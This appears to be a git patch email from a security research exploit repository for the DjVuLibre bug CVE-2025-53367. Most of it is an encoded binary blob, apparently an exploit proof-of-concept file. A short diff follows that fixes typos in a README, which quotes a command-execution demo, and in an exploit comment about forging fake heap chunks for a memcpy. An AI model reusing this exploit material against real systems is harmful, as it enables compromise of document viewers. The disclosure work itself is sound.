z4aV#Miv%9sWl>tOhqQ`IrY8wdFdx{mER>{~naZBrd+z|k!2EL=?#%b!`a5%S9PhpV zf4~2GKZ9btVnXLdsYMR6JwxU!To4`^I!`2WlZh%tm7bzF(NKp~@vr=G&8zXr@gnjc zfdGL3fdGL3fdGL3fdGL3fdGL3fdGL3fdGNPuN49z+Spe`BFX8dYu~k;yjj|Ix9o{u zw#?AK|8w?vwQ^?NLx0|}#6Mwllm4Un!EZFme>{^nX~^%@2V)nU|620KK#$!cf~URM zvUA%zhRf?EvhiDY6gM6Hc2`^ei9FX?Bf?j-{`8L6A$Qx9JGG5dX8EV*FP@OTFQa%} zo1`@Jsold;T$eh29G(5+`j3OYaT&Z$adk%IvT0J^@R8edr!CQ?l;)O=|MUy$llbR- zl`rM4nI$_GGeo7jUlPCMS#9Wuxdq$5Zz(xB^5xK?RR?`NF7LT_{8aj=FEvL7KkoL? zR|}ih{L|o+bl_A}(T+x}xOb z#HR1I-KzGxGi+|QbZfkyq;T$u|6Y23tN!rk2lbbxGq6eH^b|yHhd61sv?1kZXH~? zY|jrbDn!pG4%DB2I;QCI-4CbT9^i7cXxNv^3$@Mj9{X-{?e*C|7mN$lE{I(9NOFqX zjM9Wwzmn}yZ&yF*{gXHOO5i|{fDi)!CrDViKgHwv+2;pW&H3wV{((W~P9G3Q%yFJQ z;KZWW1LtIZ{eIBDK7BXsaN+uWC)eJ}8t{x}!S?)5);U&Xq}Mu?9nu~8_N{-c-*v<3 z;qU!)($o^^`QIJfF*&kf!XG{e4f#YHxOesC60cEt((_4*u`d(_?%m=W7g13@!7#7h zR^4}vxbLI^m-}?Pi zk?;DQo0j&A$K=7G*EiSyDSGwlWRb&TUTSre$idY$%PVJ{)}5N6k`|6qWKtIm>5Vl3 zUb$r|`R9d6>fmH8`H=vm@5r#qJ;sPU?SHf*mU5=J0n1NoG`+)ZhV=iXGpTbsS8(8naH$*Mm4l`KfjQ+A*5!sVE7{_PvPi_5Bou;PE67KpMjcYCZ=1NE(N0(cU@dAF z;96EhA?;D6mA}`6vEAqGBB21&!BJY66t~o-u7l zn5IjFW0hd5UzIX~SrXWB^2hL1rQ2d?w+Y_vcdgyx`*;}7k#t= zAxKS}v#-Kt;@!=E24l9D&?@ZZO4`e4QFz~u-H1|mShbzKV1dNqv)I><7(Ui$iqPAz z*=zE_?QeZv1hBs;)J1-!spHAqm;MpgEdn9f z8W4ijf)K0gw582NZ8XL1e*Xs zupTN1f|U&ddDpcNIGhi`o17;>pzuTxT_O?$gV#ZDrl@5QynhY|2E(w3K!{_d(jXX9 z4hS--#Sm@@I=#pKE*R%WK{(Sw5ZM|DvZ^P@s%{{wP6k<30`1SxM+K6B=a9~3-~)ubxJN#3 zRX!&WXh!VLq^{tb)|M9>UP$ zDFT6N_FS)Aypsa4J!v|%GR1P577xeW(8Z^Qp11~ zYsKP*r_zvCenrn;9uLoWIbFi0MxI&B6!sZQI_#ek)rS>ZG69O>9an;cv0ni31IL1_ z8V>?t4alm?Kp?DzSrr7raUiR%1cC5!kX1E75Mfpy9|*rv)>#O@QbZz%UuhhKBiP*? z!VxTe6C!HwR1pl}2#);>f?%hBgAi;C2*ExELa@6*2=)sQg4O6C2-b%J zk+2kqgayd}^vVYz*k}-f-48;rwIBo=2STvEAOveDhagyW9EgNH3_`F=KnQjp2*G}J z96}{t4r0Ulf!MIwIS>R()j$xe_f&{?oezS;dI;X+Q4FCZ7C^8j=cy1FJn<@o?jN2G zkpb=vg26B>!U5t~XNw_(s}2O2o`6uAWLgjuE(GCBi$G*62)R-khU@xMoex5@Y6@vSF!<0G=2a)P>5Dms@6NI+5aT$bW8Wad& zNA3~Ie1#28Cz&K`Y!m9so7pirY;rZWdBM!a?j_c6oFv6p%6T82qdUv?Q^q!pRh;L6 z#6Y?32tp(N$I4`Eu%BOwKuurJPIJKwVd*32Ch7QeUry@b%J*&-DSRf&XF zxsK+IJx!lAcoh`GuI1ylWV$h1k6 zxa7v7itDG;43D$Q8s_>t>S}n{3~k@A?cQpAg9)yqRCK5krnC{F;seC#yzCLy(F6H;q1i?p|?l(fTY`8 zSsS#m537{8;|xW1RyHyv#6D0mvr6+8HD5R?3XV;*FUb=hT0juL_7_}v*ejIE$!DsqF9 z@hwqf&tnOlQ+FoJn2dpS_RYQcNhEX9O7E%wGAAWlgpxT)a;y5MPjtFvt5?wp8%irt zx}UIDtD6sp~soynWHP7vBw+Za#x1og3T!i5d1HXBNyX~t zYmG7+*N87&hOHKWb*I9=iq2^`(_4X?pU39Ld(Um?s@$2@56w(xH>;7^E;o9TVgRe* zjEl;Hue*qiMmbe*_vJxwZsBygKaDZRBc1NeYpK_aUQ1ePf4tQXR!j-FBvy zKa$>9!z;noJlvTsgR?5kymS5LLVRn7TBD;lSLQet`f-~KSuII3kKx>K#%70_Vho(H z^+@=;|5>TXE8$ojQ|^A_g@XK=0R2TAx5mJXHlGAiR8_s4bW7m{izJ>TVWc~a_JMg| zk}!gAIM!H&m=?O@wW9g-k}g4mfy0!zTGn))KHDZm z2oq}5VfK&o$Q(ch2}?i*32%ZKB&>uOB%A{><(#4*N_M=ivVBw8LdCV5GO2Ctj5hat z^+7u9+l6!5pWsm|mUbEEtWk|s81%;3Ugq8gkKc!v5KWO6O);1lbylk}m<-{=RuAjQ zirW+4i;2<;_R4ZjKSRevP~57oY*bh1*O?IA7Xzx7-P!K;LB@gQhlXN2%Z81zaCB=s zQ!6St9b$o8WLH4<|FqLSTG~P8y?km(RguVKSr+e06#goV(dp;x+)n`+psv{5b5o(IJKB% zb*zD6t#i+8K#Si8E@T@01mcEVo%<0=^57j;6-SlBPUqSUON{wD7@sm8b4M@+kg@fG zinLxp3Y?DC3zJCe1#HAIX}!RYj!RlEaBFIA+3PEzvoLWM)*%8JwdTB()Js^4lcct( zQ^iMpk?bRNhbe zl2Q^qv6fBPmONXdN%W*2-eciJPYO;Gk8D2<`hnj=R!>wOYk3(iDi6NVV%85S`@yoe z!CDKkpHCLjY_}YwQRWO( z-T&dnXt7Uq`y2SUb!^4BNsYU{`^6Ph=ij|HE$iHf|M z+QO9G`CY@XCl3U86?JrG#5cq1f$G}*1%A7~OA9*=+!PNROel=}6%qp3sxA#;uHf6@ z#Dqouw*Ok~#l%5#%b2qx3`YPE&}ln|pWxfNmtoW`yDWD4fFeD*#}S<^?<;G!>oDe3 zY%^QD2ZE~Pcd-s+bXPi|P_E~?3=(3Tp=NY#$+t6YiaVxj(q^eeXkJX@W|$8Nde7ps zmzk#_c)IqT{9>Lpyjt95)4(b#=Je>3dKyM9+yFeUhomw5O)V`!7@kLwHTN=p)ve*^*q z0t5mC0t5mC0t5mC0t5mC0t5mC0t5mC0{1HfLR1Mai$u~BO;>)peC$S9+wJn{e{7ni zegC)I(+bbobr1Y~+hV`u(M{S<>s?-Nl>KtDVDjLI`N@(WQ0wS&A;?6buIyEgeGMjkbc*UhVUyBlQR z^w_Z{0{&sOHgx5-dBO3!#+6+hQg`=m^WNR(p1i%Q@;`4r_QOa~#5|XWTdqDH^^WhU z8JT~$O>qgmwz2-Tn3XHjMB+)~6^dw)*v>A;D{qa;RXIy;uOH=+t!&U~8f*N$^2_D2 zul1>l;4~HaB>_m^kzs{vtPy$I|7%Aq&)L=&vHY~eP%GS`)BLW%bA8mRT4JIx1>VKk zwMGmHSZ8Yx@<;uiF7ws{EIun;38y4df&&SepnBaXX50Vkl(voj;_IUa`s0f=hpCdC z3`G$CMY#u$JE$K6yIz zCCWCrjqf_o6zPQm%t)F~VXLtX%3|1P2!)pi_~F#7R6X-km-s30ReYNnjRISNsjhNB z+JsU=0}4Uw6=A6JQI{aKsGBjdv^JsBHq_v2_A&No?o`^E#@76^4PlJ^0veR4;{q2h zb&g(nSo$C6Q%+}GZWyzYP0lEb#5z6|g`ii83X!N$ht%rZChVcL6UG2ojamh`mKCX| zJgSuP_i8Y<>%3Vk6kv+2?DeUMOL%oPB!+bw-2>+L_8B+u?)7c)y*T%`#bZlMGo`|@ zO0d4Ce zzb*z?-!x?dH`v%GD$OZL1yIN%m-u@QyqV&q^w4sF9}G6L#t_#DvI>+9&(ERT?~pbk z%@JO%F(tj^@zZXg8f212loAOu?sLa;R;1gioe zSUHG<&4nS@?H~kO0z$BhKnQj(2*I8LA=u@C5E6EJ350~r)q+Ua6Cebe3_-ANatMNT z7zDD{)etyb2*I0dCPSd`1Q1;!3Iv1KKyaq$r4YP70tAC$SVRECu_`km7*ieyGAXPf z+!9oH&%nE2Y$k$mrUf9fH40?bVIZ?QgUmVwWL7E2tac!?f;gq!VCdBg1j1n;vrYw> z)e40Bi$NrvbOVG`-vFY)1bTvKYdIjAsS?7D^tyCVAQ5>dz;tpy?2L=b}Y0U=nO0fJx^i69bo9|*xN1|itpAO!o}VF;CY z8Hf$*3u43O=0OmwvIc@+y&r|x>wFL#)FjvhzM|R z5DbQ45n_mA4YGz1u4)iunhv2fIjBHTSP#OPo&u4rAmplyhuEtU#CfSa0J7I%AhUWx z%sL`qDz%T7{Ug`D?c9CamAPZ`@VR_g*cBnHaV z2T;2$)ggml&6X(_Nc)a;k|TsxQFy?XLEK3#z__!5v2^pm*GXVGQ~920ux9G0u=xGuk4p)ynoLqLla)wll}#$k z%^~4L1!gNdQMI(~w`VIMnHrMY&Xm$!o%6UXv&<=jOb^OJ={9B?TSX&RlY(rYm$ALp znd*qebOc0d+FW1>YL{lmFKQxfvCJ@ic6waohs0cEBOH2rhM22tP%y(Uk93$ql5J=CprFISBruK(+_+f z?v1UmrPo@ytO}{CvJpM}J|mF{#R)ZR3e%-ETgh~TW2YGM3p>+m*e{fN8?DC|Vcw1$ z-F6k~fT?+@(p}UkBjqt`rHB*Fs+U0=1Vh~(i8cN{9!RGLO10tpMeDrOEUK-ZvE8<5 zx(7tZj;ZSw5nnwgI{LIgVyG~+jx12Gh@sL8GwvY`?xa#o4`(lK2(>(_1|(JH%F;`l zfnk+WSDc~9^vXttgbWOnOw7`}$r&YC%?6yH6|_2}hSWAeD6QNTdLmXi5vxb{%w^9&LJsd>E)fHLoX~9Zx$Gumb_vUuIE+!^k?vq)@gX3 z@|X}4W`q%k&8hpvNQPiG+*TkyI72){b`U%MtI`Q2ohQQw9bSz@L^dq7*JqR@#g-qy zc0!w^*mi<~r!OSM)}(EQlt1j>aw93WJZpJYB*m5|?$EDcrS43;2+ty-UrV&D9wU&x zF&REjD}rCew+qkBVzj=_o?mkRB%{aj%!4ekF7H{Al~f=xez%;4G8uGqMs9E#zA0+V zc`T-4>Q06kgE6pqI9#P78EeZx-G8XTDO7RR?# z*2?EPZ_|-Q?M@$;E?yNmX*yG=`OMmWW1kcd!Z;M{4RJc zz9EcfitujuuF_>I&*SW*5K0W8co5dswQUHKV1>Vb&ycVlUmt}nDS2gDAe8EaVl%tC zlE^qt3|&uBO48yxM_eM~EZzX$FH&iFv|r@P=_%&jBeY{aPMYv2#|2_#fx9}&4PomU zx|q&rzZp5DSq!{rP+<3|m9yu#6F1CeWin?>O~!Di#wE2Y3QRFuS))JSq+;>-Dx=KC z^~RSn>t$qa;V!`|=<-w{R-mpTL;okxKWbwbUy{uPH58EoL@+zt~}(R7bN@w{4Wm9?~?{ za7wT>!#l%ea8`xsJ=bs4TGmvYK2s(|2pwt^ zVFQ2D;~)lUBrFAKB)kEpk+3I3BjG%dF6T-mM9PlWC8lmFlc>0wRU|dv&S+EPEA~>? zzV~p>fhTy>jAi$>b9VZ2TSu(Tm;kwwGS)mXka)5!W+%9KvMt^K-!D?k zmPW+-kCw2*$30F*R&yM{@4jIsowz`|u>v?D7(NDRHrA+^mgLO9tCtHWK4$IHn2egq zwz68BbR9y<{Q0Ll@s;clqfbla=HWr=az@``QpziE&N{=oS8!WwjZSj|*+Yrdbr@f2 zd6{CqFpBZrvg<>7A%MT$x`3&`$i!;%Em!(C{zQ%g)Vbj|Mn>4qb@;;eKUuGZL^sm8 z015mQWZF^2_8R00%(j2;tfPc4KW4xqrwV7{jAdE$^8B$D91MaMoxs^4Lt34fb|xSH zGb$fI7_qyanJHz~e^O3vPmoN#|ykq%R9_whOs#dKAxeZ8dbxX zsx?Cyd0zR4@C`L&yo1ald-NM@{Yu0KXvmlxL%=a;tcOlZHBH67s*%M~<$iqewoKc7 zTYlc%%x0_PN!=d$C84tGTdU(dyW2LWCUhG{Y*@%VR5`f^_g*ahs{8L+9P-*nw8|`M zzp@KZ_K;T>U5!g?{m#(+Z|a=M&Rth|eYE01Q5TP=gSegHC>*=~ff{VMCbxYDnVDTT zCwi}|`*P64&Y#uOJ?uIba{FWNj<58j!!`Nss@rwsnZR!RPE>wwX}LU% zrYix|UgOA&;Fvi9tx6Htodm9TM@aGjJOoyKs!|h`_+$_rT6@55G&J5!W@5MSr1(V?NQyJ7UdT@8LAn*L^%Ki4^R zdM%J&1_!=pb}agVYH5}*oD>;85Ha9NLn;7*EA1ePMtDm-jBdFB^>?_r%PQ`5xDCvA U2N_6}7YRs}m-R4JUIH5a2hin%EC2ui literal 0 HcmV?d00001 From f920f692745bcf9dc975afe55d9c55aa1cdf9c6f Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 18 Jul 2025 16:14:52 +0100 Subject: [PATCH 2/2] Fix typos --- .../DjVuLibre-poc-CVE-2025-53367.diff | 4 ++-- .../DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff index 44151b2..8104f7d 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -68,7 +68,7 @@ index a87a83b..b88923b 100644 private: friend class JB2Codec; diff --git a/tools/c44.cpp b/tools/c44.cpp -index df73468..199079a 100644 +index df73468..145caff 100644 --- a/tools/c44.cpp +++ b/tools/c44.cpp @@ -211,6 +211,8 @@ @@ -1261,7 +1261,7 @@ index df73468..199079a 100644 +// this function finishes. dst is the destination of the memcpy. dst +// needs to point to a fake chunk, which will get freed and then +// immediately reallocated. size is the number of bytes that will be -+// memcpy'd, which much match the size of the fake chunk at dst. ++// memcpy'd, which must match the size of the fake chunk at dst. +static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, + uint16_t dst, uint16_t size) { + // Forge a pointer to dst in fake_rlerows. diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index 48edc34..dcfdcf0 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -50,7 +50,7 @@ aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" We published this (much simpler) version of the poc sooner, to help people quickly test whether they're running a vulnerable version of -DjVuLibre.This poc only causes the DjVuLibre library to crash. +DjVuLibre. This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu)